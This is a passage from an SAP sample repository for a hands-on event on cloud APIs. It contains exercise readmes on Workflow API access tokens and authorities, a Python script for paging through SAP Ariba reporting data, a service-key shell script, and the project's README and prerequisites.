send\n- the HTTP method that is used by default when payload data is specified with the `--data` option is POST, which is what we want (and therefore not shown explicitly here)\n\nThe output of the response, specifically the payload (body), an example of which we saw at the end of step 1 in this exercise, is JSON, where one of the properties is `access_token`. So we can use `jq` to parse out exactly that value, and give it to us in raw form with the `-r` switch (basically this switch means \"don't present the value in double quotes\").\n\nNow we understand what we're running, let's generate a new access token.\n\n:point_right: Generate an access token with the script, like this:\n\n```bash\n> ./workflow get_access_token\n```\n\nThe response should look something like this - an access token in raw form (it's been shortened here for display purposes):\n\n```\neyJhVQTE9ZIl0sImNsaWVudF9pZCI6InNiLWNsb25lLWIwOWQ5ZmNmLWE0MTgtNDRjOC05NTg5LWViYWJlYTY1NGNiNyFiNTU4ODl8d29ya2Zsb3chYjE\nwMTUwIiwiY2lkIjoic2ItY2xvbmUtYjA5ZDlmY2YtYTQxOC00NGM4LTk1ODktZWJhYmVhNjU0Y2I3IWI1NTg4OXx3b3JrZmxvdyFiMTAxNTAiLCJhenAi\nOiJzYi1jbG9uZS1iMDlkOWZjZi1hNDE4LTQ0YzgtOTU4OS1lYmFiZWE2NTRjYjchYjU1ODg5fHdvcmtmbG93IWIxMDE1MCIsImdyYW50X3R5cGUiOiJjb\nGllbnRfY3JlZGVudGlhbHMiLCJyZXZfc2lnIjoiNzI5NmM4OTIiLCJpYXQiOjE2MDA2NzY4MjQsImV4cCI6MTYwMDcyMDAyNCwiaXNzIjoiaHR0cHM6Ly\n9hNTI1NDRkMXRyaWFsLmF1dGhlbnRpY2F0aW9uLmV1MTAuaGFuYS5vbmRlbWFuZC5jb20vb2F1dGgvdG9rZW4iLCJ6aWQiOiJmZDAzNDAyZS01OGM3LTR\nJhYmVhNjU0Y2I3IWI1NTg4OXx3b3JrZmxvdyFiMTAxNTAiXX0.kvK72llXiXigBSjAvyAPBG1BqwxAf_2RasOfyZ7Utz5yH7vcqk6argtXQVSqSdyp8Vv\nV2iPM6RhlBxkeduh27o74QGEUZhZ3oWVRMukEllMAZCxngllmdnK-oRty-NeF04l-Y6jCcLZXWQkujusS6WaoKYLFfJ0v7BvzFylmf0WBuqyz1JILgE2b\n```\n\nThis access token doesn't look much different to what we've seen already, and it certainly is pretty impenetrable as far as detail is concerned.\n\nThat's where `jwt`, the JSON Web Token tool we installed in [exercise 01](../../01), comes in.\n\n> `jwt-cli` is the name of the NPM package, and `jwt` is the command line tool that comes in that package.\n\n:point_right: Run the command again, and this time, extend it so that the output (the raw access token) is [piped](https://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO-4.html) into `jwt`, like this:\n\n```bash\n> ./workflow get_access_token | jwt\n```\n\nThis will reveal the glorious details embedded in that access token. There's lots of information, but what's relevant for us is the payload section, which will look something like this:\n\n```json\n{\n \"jti\": \"e585cdb02adc466c90bac5cb399b2962\",\n \"ext_attr\": {\n \"enhancer\": \"XSUAA\",\n \"subaccountid\": \"fd03402e-58c7-4fb8-9443-5d0fa2a533f4\",\n \"zdn\": \"a52544d1trial\",\n \"serviceinstanceid\": \"b09d9fcf-a418-44c8-9589-ebabea654cb7\"\n },\n \"sub\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"authorities\": [\n \"workflow!b10150.TASK_GET\",\n \"workflow!b10150.PROCESS_TEMPLATE_DEPLOY\",\n \"workflow!b10150.PROCESS_VARIANT_DEPLOY\",\n \"uaa.resource\",\n \"workflow!b10150.FORM_DEFINITION_DEPLOY\",\n \"workflow!b10150.TASK_DEFINITION_GET\",\n \"workflow!b10150.WORKFLOW_DEFINITION_DEPLOY\"\n ],\n \"scope\": [\n \"workflow!b10150.TASK_GET\",\n \"workflow!b10150.PROCESS_TEMPLATE_DEPLOY\",\n \"workflow!b10150.PROCESS_VARIANT_DEPLOY\",\n \"uaa.resource\",\n \"workflow!b10150.FORM_DEFINITION_DEPLOY\",\n \"workflow!b10150.TASK_DEFINITION_GET\",\n \"workflow!b10150.WORKFLOW_DEFINITION_DEPLOY\"\n ],\n \"client_id\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"cid\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"azp\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"grant_type\": \"client_credentials\",\n \"rev_sig\": \"7296c892\",\n \"iat\": 1600677038,\n \"exp\": 1600720238,\n \"iss\": \"https://a52544d1trial.authentication.eu10.hana.ondemand.com/oauth/token\",\n \"zid\": \"fd03402e-58c7-4fb8-9443-5d0fa2a533f4\",\n \"aud\": [\n \"uaa\",\n \"workflow!b10150\",\n \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\"\n ]\n}\n```\n\n:point_right: Look closely at the values in the `authorities` section - they include entries such as \"TASK_GET\", \"PROCESS_TEMPLATE_DEPLOY\", and \"WORKFLOW_DEFINITION_DEPLOY\".\n\nThese are the authorities (which are, for our purposes, the same as the scopes) that the access token includes, describing essentially what the bearer of the access token is permitted to do.\n\n:point_right: Now jump back right to the start of this exercise, and gaze upon the details of the `GET /v1/workflow-definitions` API endpoint. Note in the description, we see this:\n\n```\nScope: WORKFLOW_DEFINITION_GET\n```\n\nIs that authority in the list of authorities in our current access token?\n\nNo.\n\nSo we need to address that if we want to make a call to that API endpoint.\n\n\n### 4. Update the Workflow service instance with a list of required authorities\n\nWhen you create a service instance, you can specify parameters such as authorities, as described in the help to the `cf create-service` command:\n\n```\nNAME:\n create-service - Create a service instance\n\nUSAGE:\n cf create-service SERVICE PLAN SERVICE_INSTANCE [-b BROKER] [-c PARAMETERS_AS_JSON] [-t TAGS]\n\n Optionally provide service-specific configuration parameters in a valid JSON object in-line:\n\n cf create-service SERVICE PLAN SERVICE_INSTANCE -c '{\"name\":\"value\",\"name\":\"value\"}'\n\n Optionally provide a file containing service-specific configuration parameters in a valid JSON object.\n The path to the parameters file can be an absolute or relative path to a file:\n\n cf create-service SERVICE PLAN SERVICE_INSTANCE -c PATH_TO_FILE\n\n Example of valid JSON object:\n {\n \"cluster_nodes\": {\n \"count\": 5,\n \"memory_mb\": 1024\n }\n }\n```\n\nWhen we created the service instance, we didn't avail ourselves of this facility (as we didn't yet know what authorities we'd need). But that's OK, we can subsequently update an existing instance with the `cf update-service` command, the help for which looks quite similar to what we see above.\n\nLet's do that now, supplying the \"WORKFLOW_DEFINITION_GET\" authority, along with a couple of others that we may need later.\n\n:point_right: Look at the contents of the [`authorities.json`](../../workspaces/workflowapi/authorities.json) file in the `workflowapi/` directory. You should see something like this:\n\n```json\n{\n \"authorities\": [\n \"WORKFLOW_DEFINITION_GET\",\n \"WORKFLOW_INSTANCE_GET\",\n \"WORKFLOW_INSTANCE_START\"\n ]\n}\n```\n\n:point_right: Now look at the `add_authorities` function in the `workflow` script; the function looks something like this:\n\n```bash\n# Add authorities to service instance\nadd_authorities () {\n local jsonfile=$1\n if [[ -z \"$jsonfile\" ]]; then\n echo Usage: add_authorities jsonfile\n exit 1\n fi\n cf update-service $instance -c \"$jsonfile\"\n}\n```\n\nThe function expects to be passed the name of a JSON file, and then uses that in a call to `cf update-service` for the instance defined in the `instance` variable that we've seen before.\n\n:point_right: Run this command, supplying the name of the JSON file:\n\n```bash\n> ./workflow add_authorities authorities.json\n```\n\nYou should see a small amount of output confirming the update, which should look something like this:\n\n```\nUpdating service instance workflow-lite as [email protected]...\nOK\n```\n\n### 5. Check the authorities in subsequent access tokens\n\nNow that the instance is updated, let's check that any access token we request from now on includes the authorities we specified.\n\n:point_right: Request a new access token and feed it into `jwt` again:\n\n```bash\n> ./workflow get_access_token | jwt\n```\n\nIn the output that appears, within the \"payload\" section, check the authorities listed; you should now see something like this:\n\n```json\n{\n \"authorities\": [\n \"workflow!b10150.TASK_GET\",\n \"workflow!b10150.WORKFLOW_DEFINITION_GET\",\n \"workflow!b10150.PROCESS_TEMPLATE_DEPLOY\",\n \"workflow!b10150.PROCESS_VARIANT_DEPLOY\",\n \"uaa.resource\",\n \"workflow!b10150.WORKFLOW_INSTANCE_START\",\n \"workflow!b10150.FORM_DEFINITION_DEPLOY\",\n \"workflow!b10150.WORKFLOW_INSTANCE_GET\",\n \"workflow!b10150.TASK_DEFINITION_GET\",\n \"workflow!b10150.WORKFLOW_DEFINITION_DEPLOY\"\n ]\n}\n```\n\nWe can see that the three authorities we specified in the `cf update-service` command, \"WORKFLOW_DEFINITION_GET\", \"WORKFLOW_INSTANCE_GET\" and \"WORKFLOW_INSTANCE_START\", are now listed.\n\nGreat!\n\n\n### 6. Make another API call to `/v1/workflow-definitions`\n\nNow that requested access tokens contain the appropriate authority, let's have another go at making our first API call. Instead of using the HTTP Client facility and the `first-api-call.http` file contents, let's continue to make use of our [`workflow`]((../../workspaces/workflowapi/workflow) script. We already know that there's a function in there that will request an access token; it won't surprise you to know that there's also a function in there that will make an API call to the `/v1/workflow-definitions` endpoint.\n\n:point_right: Have a look at that function - it's the `list_workflow_definitions` function in the `workflow` file. By now, the pattern should be familiar, but let's check we understand what it's doing anyway. The function is defined like this:\n\n```bash\n# List workflow definitions\nlist_workflow_definitions () {\n curl \\\n --\"$output\" \\\n --header \"Authorization: Bearer $access_token\" \\\n \"$resourceserverapiroot/v1/workflow-definitions\" \\\n | jq .\n}\n```\n\nLike before, let's just summarize what we see here:\n\n- the call will be executed quietly with no extraneous logging as before, due to the `--\"$output\"` option\n- instead of using the `--user` option as in the call to request an access token, where we needed to specify a username and password (`clientid` and `clientsecret`), we now need to supply the access token itself to authenticate this call; it's sent in a \"Bearer\" Authorization header, as shown\n- the actual URL is made up from the value of the `resourceserverapiroot` variable, with the specific API endpoint path `/v1/workflow-definitions` appended\n- the default HTTP method used with `curl` is GET (when there's no payload to be sent with `--data`), which is what we want\n\nAnd again, like the first call, we're expecting the response to be JSON, so we pipe that into `jq` (this is the `| jq .` part) to display prettily for us.\n\n:point_right: Make the API call now (make sure you're still in the `workflowapi/` directory):\n\n```bash\n> ./workflow list_workflow_definitions\n```\n\nYou should see output that looks like this:\n\n```json\n[\n {\n \"id\": \"workflow\",\n \"version\": \"1\",\n \"name\": \"workflow\",\n \"createdBy\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"createdAt\": \"2020-09-21T05:43:02.723Z\",\n \"jobs\": []\n }\n]\n```\n\nSuccess! There's evidence of our workflow definition that we deployed in a previous exercise, listed (in an array, denoted by the outermost `[ ... ]`) in the output.\n\n\n### 7. Explore further Workflow API endpoints with the `workflow` script\n\nNow we're motoring! We can explore a couple more endpoints with the `workflow` script thanks to some other functions in there.\n\n:point_right: While still in the `workflowapi/` directory, run the `workflow` script again to see what other functions are supported:\n\n```bash\n> ./workflow\n```\n\nThe output, that you've seen already, looks like this:\n\n```\nadd_authorities\nget_access_token\nlist_workflow_definitions\nlist_workflow_instances\nstart_workflow_instance\n```\n\nIn this list, after `list_workflow_definitions`, you'll see another couple of commands `list_workflow_instances` and `start_workflow_instance`. These, unsurprisingly, relate to other Workflow API endpoints described in the [Workflow API for Cloud Foundry](https://api.sap.com/api/SAP_CP_Workflow_CF/resource) definitions, specifically in the \"Workflow Instances\" group:\n\n![Workflow Instances group](workflow-instance-group.png)\n\nThe `list_workflow_instances` command reflects the API endpoint `GET /v1/workflow-instances` and the `start_workflow_instance` command reflects the API endpoint `POST /v1/workflow-instances`.\n\n> Observe how the API endpoints are organized along HTTP application protocol lines - we have a single HTTP resource `/v1/workflow-instances` but using the HTTP method `GET` retrieves the current representation of that resource (a collection of instances), and using the HTTP method `POST` adds to it (effectively adding a new instance to the collection).\n\n:point_right: Run the `list_workflow_instances` command:\n\n```bash\n> ./workflow list_workflow_instances\n```\n\nAt this point, we've only deployed the `workflow` definition, and not started any instances of it. So it should come as little surprise that the output is an empty array, denoting no instances:\n\n```json\n[]\n```\n\nLet's address that by starting an instance, using the other command available to us.\n\n:point_right: Run the `start_workflow_instance` command, noting that this command requires the specification of the workflow definition name, which in our case, somewhat unimaginitively, is \"workflow\":\n\n```bash\n> ./workflow start_workflow_instance workflow\n```\n\nIf all goes well, you should see output that looks like this:\n\n```json\n{\n \"id\": \"1a8ab2ea-fbf8-11ea-9e92-eeee0a9e5a06\",\n \"definitionId\": \"workflow\",\n \"definitionVersion\": \"1\",\n \"subject\": \"workflow\",\n \"status\": \"RUNNING\",\n \"businessKey\": \"\",\n \"startedAt\": \"2020-09-21T10:49:20.398Z\",\n \"startedBy\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"completedAt\": null\n}\n```\n\nVery nice - we're given the details of a running workflow instance: started from the \"workflow\" definition, version \"1\", and in fact the status at the time that very snapshot was taken (just when the instance was started) was \"RUNNING\". Note that in contrast to the output from the `GET /v1/workflow-instances`, this is the output from the `POST /v1/workflow-instances`, in that the output is saying \"here is the instance that was just created as a result of your request\". \n\nIf you now make another call to the `list_workflow_instances` command, you should see this instance, although by the time you do this, the status will have moved from \"RUNNING\" to \"COMPLETED\", as the definition itself (see [exercise 04](../../04)) is very simple - it just starts, and then ends. \n\n:point_right: Make that call now:\n\n```bash\n> ./workflow list_workflow_instances\n```\n\nThis is what the output should look like (note that this is a list, represented by an array in the output (`[ ... ]`):\n\n```json\n[\n {\n \"id\": \"1a8ab2ea-fbf8-11ea-9e92-eeee0a9e5a06\",\n \"definitionId\": \"workflow\",\n \"definitionVersion\": \"1\",\n \"subject\": \"workflow\",\n \"status\": \"COMPLETED\",\n \"businessKey\": \"\",\n \"startedAt\": \"2020-09-21T10:49:20.398Z\",\n \"startedBy\": \"sb-clone-b09d9fcf-a418-44c8-9589-ebabea654cb7!b55889|workflow!b10150\",\n \"completedAt\": \"2020-09-21T10:49:21.366Z\"\n }\n]\n```\n\n\n## Summary\n\nIn this exercise, we've gone from being unable to do much with the Workflow API due to missing authorities, to listing workflow definitions and starting & listing instances of them. All from the comfort of the command line in App Studio. Not only that, we know what's going on underneath. Great work!\n\n## Questions\n\n1. What is HTTP status code 403 and how does it differ from HTTP status code 401?\n\n1. Did you notice what the lifetime of the access token was (or when it expires), that we received in our first call in stage 1? \n" }, { "alpha_fraction": 0.554973840713501, "alphanum_fraction": 0.5759162306785583, "avg_line_length": 8.095237731933594, "blob_id": "25fcd3fe563a12a0c96286c842e18cdfa0ecf3eb", "content_id": "99ea5b86670b247531d91be3b097d7c30b88305c", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 191, "license_type": "permissive", "max_line_length": 54, "num_lines": 21, "path": "/exercises/template.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 01 - ...\n\nIn this exercise you'll ...\n\n\n## Steps\n\nAfter completing the steps in this exercise you'll ...\n\n### 1. ...\n\n\n\n## Summary\n\nAt this point you're ...\n\n\n## Questions\n\n1. ...\n" }, { "alpha_fraction": 0.6413888335227966, "alphanum_fraction": 0.6520988345146179, "avg_line_length": 32.85380172729492, "blob_id": "66ec95d8808d99ecf35c6844461dd5a9f26f9c71", "content_id": "199400a8b11a42f836d12b42fcac84fbc20d83e1", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5793, "license_type": "permissive", "max_line_length": 140, "num_lines": 171, "path": "/exercises/08/scripts/ariba_pagination.py", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "import os\nimport time\nimport argparse\nfrom os import getenv\nfrom enum import Enum\nimport requests\nimport json\nimport urllib.parse\n\n# Loading environment variables\nfrom dotenv import load_dotenv\nload_dotenv()\n\nREALM = getenv('REALM')\nAPI_OAUTH_URL = getenv('API_OAUTH_URL')\nAPI_KEY = getenv('API_KEY')\nBASE64_AUTHSTRING = getenv('BASE64_AUTHSTRING')\nAPI_URL = getenv('API_URL')\n\nVERBOSE = False\n\n\nclass RunMode(Enum):\n count = 'count'\n paginate = 'paginate'\n\n def __str__(self):\n return self.value\n\n\ndef get_access_token():\n # Read the acces_token from the file saved by the ariba_authentication.py script\n credential_path = f'{REALM}-token.json'\n if os.path.exists(credential_path):\n with open(credential_path) as json_file:\n data = json.load(json_file)\n access_token = data['access_token']\n else:\n raise ValueError(f\"Authentication file {credential_path} does not exist. \"\n \"Make sure you run the ariba_authentication.py script before attempting \"\n \"to run this script.\")\n\n return access_token\n\n\ndef call_ar_sync_api(view_template, filters, path=\"\", page_token=None):\n '''\n Communicates with the SAP Ariba Analytical Reporting API.\n\n :param str view_template: The view template to call.\n :param str filters: The filters used to filter the view template data.\n :param str path: Used when we can to retrieve count of the view template.\n :param str page_token: Specify a page token in the request header.\n :return: The response from the SAP Ariba Analytical Reporting API in JSON format\n :rtype: json\n '''\n \n global MODE, SAVE\n\n # We always retrieve the access_token as it might change while we are retrieving\n # data from our API\n headers = {\n 'Authorization': f\"Bearer {get_access_token()}\",\n 'apiKey': API_KEY\n }\n\n request_url = f\"{API_URL}/views/{view_template}{path}?realm={REALM}&filters={urllib.parse.quote(filters)}\"\n\n if page_token is not None:\n request_url += f\"&pageToken={page_token}\"\n\n output_file_name = \"\"\n \n if SAVE:\n page_token_identifier = f\"_{page_token}\" if page_token else \"\"\n output_file_name = f\"{REALM}_{view_template}_{MODE}{page_token_identifier}.json\"\n\n print(f\"==========================\")\n print(f\"👉 Request URL: {request_url} -> Output file: {output_file_name}\")\n print(f\"==========================\")\n\n response = requests.request(\"GET\", request_url, headers=headers)\n\n result = json.loads(response.text)\n\n if SAVE:\n with open(output_file_name, 'w') as output_file:\n json.dump(result, output_file)\n\n return result\n\n\ndef analytical_reporting_sync_api_count(view_template, filters):\n '''\n Retrieve the total number of records available for the view template,\n with the filter criteria specified.\n\n :param str view_template: The view template to call.\n :param str filters: The filters used to filter the view template data.\n '''\n\n parsed_json = call_ar_sync_api(view_template, filters, path=\"/count\")\n\n print(f\"Maximum records per page: {parsed_json['MaxRecordsInEachPage']}\")\n print(f\"Total number of pages in result set: {parsed_json['TotalPages']}\")\n print(\n f\"Total number of records in result set: {parsed_json['TotalRecords']}\")\n\n\ndef analytical_reporting_sync_api_paginate(view_template, filters):\n '''\n Retrieve the records available for the view template,\n with the filter criteria specified.\n\n :param str view_template: The view template to call.\n :param str filters: The filters used to filter the view template data.\n '''\n\n page_token = \"\"\n cycle = 0\n\n while page_token != \"STOP\":\n\n parsed_json = call_ar_sync_api(view_template, filters, page_token=page_token)\n\n print(f\"Current iteration: {cycle}\")\n print(\n f\"Total number of records in response: {len(parsed_json['Records'])}\")\n\n # If no PageToken is included in the response, we set the value of page_token to STOP\n # so the while loop does not continue\n page_token = parsed_json[\"PageToken\"] if \"PageToken\" in parsed_json else \"STOP\"\n\n print(f\"Next page: {page_token}\")\n\n cycle += 1\n\n print(\"Finished!\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='SAP Ariba API pagination')\n\n parser.add_argument('--mode', type=RunMode,\n default=RunMode.paginate, choices=list(RunMode))\n parser.add_argument('--view_template', type=str, default='SourcingProjectSourcingSystemView',\n help='Example value: SourcingProjectSourcingSystemView')\n parser.add_argument('--filters', type=str,\n help='Example value: \\'{\"createdDateFrom\":2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}\\'')\n \n save_parser = parser.add_mutually_exclusive_group(required=False)\n save_parser.add_argument('--save', dest='save', action='store_true', help=\"Save the response payloads.\")\n \n parser.set_defaults(save=False)\n\n args = parser.parse_args()\n\n MODE = args.mode\n SAVE = args.save\n \n if args.filters is None:\n raise ValueError('Need to specify a value for --filters parameter. ' +\n 'Example of value expected: \\'{\"createdDateFrom\":\"2019-07-07T00:00:00Z\",\"createdDateTo\":\"2020-07-06T00:00:00Z\"}\\'')\n\n if args.mode == RunMode.count:\n analytical_reporting_sync_api_count(args.view_template, args.filters)\n elif args.mode == RunMode.paginate:\n analytical_reporting_sync_api_paginate(args.view_template, args.filters)\n else:\n raise ValueError(\n f\"Value specified for --mode parameter is not valid. Possible values: {list(RunMode)}\")\n" }, { "alpha_fraction": 0.7774702906608582, "alphanum_fraction": 0.7856096625328064, "avg_line_length": 63.66315841674805, "blob_id": "291bf242d2aedf5d15e29952b85319157b6caf23", "content_id": "ab92eeae4756e85492c58250a21983ee303418d2", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6143, "license_type": "permissive", "max_line_length": 526, "num_lines": 95, "path": "/README.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "![](https://img.shields.io/badge/STATUS-NOT%20CURRENTLY%20MAINTAINED-red.svg?longCache=true&style=flat)\n\n# Important Notice\nThis public repository is read-only and no longer maintained. For the latest sample code repositories, visit the [SAP Samples](https://github.com/SAP-samples) organization.\n\n# Using APIs on SAP Cloud Platform\n\n[![REUSE status](https://api.reuse.software/badge/github.com/SAP-samples/cloud-apis-virtual-event)](https://api.reuse.software/info/github.com/SAP-samples/cloud-apis-virtual-event)\n\n## Description\n\nThis repository contains the material for a virtual event all about using APIs on SAP Cloud Platform.\n\nPrerequisites and recommendations are documented in the [prerequisites](prerequisites.md) file.\n\n### Virtual event overview\n\nIn this virtual event, you'll get to know how to find, understand, authenticate for and use APIs on SAP Cloud Platform. It covers discovery via the SAP API Business Hub (and other locations), authentication with different OAuth 2.0 grant types and practical advice, through direct hands-on experience calling APIs from various endpoints.\n\n### Material organization\n\nThe material consists of a series of exercises that are to be done in order (each one building on the previous one). Each exercise is contained in a directory, with a main 'readme' file containing the core exercise instructions, with optional supporting files, such as screenshots and sample files.\n\n### Following the exercises\n\nDuring the virtual event you will complete each exercise one at a time. At the end of each exercise there are questions; these are designed to help you think about the content just covered, and are to be discussed with the entire class, led by the instructors, when everyone has finished that exercise.\n\nIf you finish an exercise early, please resist the temptation to continue with the next one. Instead, explore what you've just done and see if you can find out more about the subject that was covered. That way we all stay on track together and can benefit from some reflection via the questions (and answers).\n\n:point_right: Where there's an action for you to perform, it will be prefixed with this pointing symbol, to help you focus on where you are in each exercise.\n\n### The exercises\n\nHere's an overview of the exercises.\n\n**Some basics**\n\nIn these first two exercises, you'll get a basic understanding of what APIs on SAP Cloud Platform look like, and also get an introduction to important OAuth 2.0 concepts which are fundamental to using the APIs.\n\n- [Exercise 01 - Get an overview of API resources](exercises/01/)\n- [Exercise 02 - Understand OAuth 2.0 at a high level](exercises/02/)\n\n**Learning with the Workflow API**\n\nIn these next few exercises you'll get your feet wet with the Workflow APIs. First, you'll set up a dev space in the SAP Business Application Studio (App Studio) with some extra tools, then you'll create a Workflow service instance and deploy a simple workflow definition. Through trial and error, you'll learn about scopes, the contents of access tokens, and become familiar with a few different Workflow API resources.\n\n- [Exercise 03 - Setting up your dev space in the SAP Business Application Studio](exercises/03/)\n- [Exercise 04 - Creating a Workflow service instance & deploying a definition](exercises/04/)\n- [Exercise 05 - Workflow API calls, authorities, access token contents & more](exercises/05/)\n- [Exercise 06 - Calling the Workflow API from within the SAP API Business Hub](exercises/06/)\n\n**Authentication, refresh tokens & data pagination with the SAP Ariba APIs using Python**\n\nIn these exercises, you'll learn how you can use Python to authenticate against the SAP Ariba APIs, what refresh tokens are and how to use them, how to retrieve large amounts of data from an API by using a mechanism commonly known as pagination and in which scenarios they are commonly used.\n\n- [Exercise 07 - Authentication & refresh tokens with SAP Ariba APIs](exercises/07/)\n- [Exercise 08 - Data pagination with SAP Ariba APIs](exercises/08/)\n\n> Subsequent exercise groups in this Virtual Event are in \"planned\" status only and do not yet exist.\n\n**Calling Enterprise Messaging APIs with Postman**\n\nIn this group of exercises you'll learn about the management and messaging groups of APIs for Enterprise Messaging, and interact with them using Postman (planned).\n\n**Exploring the Password grant type with the Core Service APIs**\n\nIn this group of exercises you'll take a brief look at, and get your hands dirty with a different grant type, one that is used currently to protect the Core Service APIs of SAP Cloud Platform (planned).\n\n**Consuming OAuth 2.0 protected APIs from within Node.js**\n\nTo round out this virtual event, you'll learn how you can use Node.js packages to help you manage calls to Cloud APIs from JavaScript (planned).\n\n\n## Requirements\n\n\nThe requirements to follow the exercises in this repository, including hardware and software, are detailed in the [prerequisites](prerequisites.md) file.\n\n\n## Download and installation\n\nYou do not need to download this repository nor install anything from it. You can just follow the exercises by visiting each of them as listed in the [exercises](#the-exercises) section.\n\n\n## How to obtain support\n\nSupport for the content in this repository is available during virtual events, for which this content has been designed. Otherwise, this content is provided \"as-is\" with no other support.\n\n## Contributing\n\nIf you wish to contribute code, offer fixes or improvements, please send a pull request (PR). Due to legal reasons, contributors will be asked to accept a [Developer Certificate of Origin (DCO)](https://en.wikipedia.org/wiki/Developer_Certificate_of_Origin) on submitting their first PR to this project. This DCO acceptance can be done in the PR itself - look out for the CLA assistant that will guide you through the simple process. SAP uses [the standard DCO text of the Linux Foundation](https://developercertificate.org/).\n\n## License\n\nCopyright (c) 2020 SAP SE or an SAP affiliate company. All rights reserved. This project is licensed under the Apache Software License version 2.0.\n" }, { "alpha_fraction": 0.7884694933891296, "alphanum_fraction": 0.7917876243591309, "avg_line_length": 59.224998474121094, "blob_id": "431315d1a747f6de0cd800ba706bfe36a481a3ad", "content_id": "30096dd3d5189679246bd63bcf28f94f1b076b39", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2411, "license_type": "permissive", "max_line_length": 277, "num_lines": 40, "path": "/prerequisites.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Prerequisites\n\nThere are hardware, software and service prerequisites for participating in this virtual event.\n\nNote that there are these **general** prerequisites, and that for some exercises there are [**exercise-specific** prerequisites](#exercise-specific-prerequisites), which are documented separately and also referred to at the start of each of those exercises.\n\n## Hardware\n\nEach participant must have their own laptop with enough admin privileges to be able to install software. The laptop must also be able to connect to the Internet.\n\n## Software\n\nBefore the virtual event, participants must ensure they have the following installed on their laptops:\n\n- Chrome (latest version) : [https://www.google.com/chrome/](https://www.google.com/chrome/)\n- Postman : [https://www.getpostman.com/downloads/](https://www.getpostman.com/downloads/)\n\n## Services\n\nEach attendee must have the following already set up and enabled:\n\n- an SAP Cloud Platform trial account. If you need to create a new account, go to [https://account.hanatrial.ondemand.com/#/home/welcome](https://account.hanatrial.ondemand.com), select the \"Register\" button and follow the instructions.\n\n- within your SAP Cloud Platform trial account, the Cloud Foundry trial should be set up, with an organization and space ready to work in (if you follow the setup instructions on a new trial account, you'll be led through this process automatically).\n\n- also within your SAP Cloud Platform trial account, a subscription to the SAP Business Application Studio should also be set up with a dev space already created, based upon the \"Basic\" template and including the additional \"MTA Tools\" and \"Workflow Management\" SAP extensions.\n\n## Recommendations\n\nFurther to the software prerequisites described above, we also recommend:\n\n- The [JSON Formatter extension](https://chrome.google.com/webstore/detail/json-formatter/bcjindcccaagfpapjjmafapmmgkkhgoa?hl=en) for Google Chrome\n- The [XML Tree extension](https://chrome.google.com/webstore/detail/xml-tree/gbammbheopgpmaagmckhpjbfgdfkpadb) for Google Chrome\n\n## Exercise-specific prerequisites\n\nThere are currently exercise-specific prerequisites for the following exercises, please pay attention to those if you intend to complete them:\n\n- [Exercise 07 - Authentication & refresh tokens with SAP Ariba APIs](exercises/07/)\n- [Exercise 08 - Data pagincation with SAP Ariba APIs](exercises/08/)\n\n\n" }, { "alpha_fraction": 0.7093595862388611, "alphanum_fraction": 0.7142857313156128, "avg_line_length": 24.375, "blob_id": "a4ff50a6d0a0341329f02c736e1f05cc50e2653d", "content_id": "7315fd66af9c1c14b16fe3e35991edc28a2cb02c", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 406, "license_type": "permissive", "max_line_length": 59, "num_lines": 16, "path": "/workspaces/workflowapi/setup-service-key", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\n# Sets up a service key for the given instance, saves it\n# to a local file and then displays it in the terminal.\n\nset -o errexit\nsource shared\n\n# Create service key for the new instance\ncf create-service-key \"$instance\" \"$key\"\n\n# Copy service key contents into local file\ncf service-key \"$instance\" \"$key\" | sed \"1,2d\" > \"$keyfile\"\n\n# Display contents of service key\njq . < \"$keyfile\"\n" }, { "alpha_fraction": 0.678558886051178, "alphanum_fraction": 0.7157806158065796, "avg_line_length": 76.38587188720703, "blob_id": "21e76183b2f9124b05dc817385f3c5fd7d171d8c", "content_id": "9d6fed455a615659b540542c8a2ac1037aa28eef", "detected_licenses": [ "LicenseRef-scancode-dco-1.1", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 14251, "license_type": "permissive", "max_line_length": 740, "num_lines": 184, "path": "/exercises/08/readme.md", "repo_name": "vishalkwatra/cloud-apis-virtual-event", "src_encoding": "UTF-8", "text": "# Exercise 08 - Data pagination with SAP Ariba APIs\n\nNow that we know how to authenticate against the SAP Ariba APIs, we'll be looking at how to retrieve large amounts of data by using a mechanism known as pagination. Pagination is commonly used by APIs to limit the amount of data returned in a response. Limiting the data in the response normally improves the APIs performance, ensuring that the request response doesn't take a long time or returning unnecessary data to the client.\n\n## Steps\n\nAfter completing the steps in this exercise you'll know what pagination in an API is, what a pagination token (`pageToken`) is used for and how pagination has been implemented in the SAP Ariba APIs.\n\n:point_right: To run the Python scripts included in this exercise, ensure that you checkout the 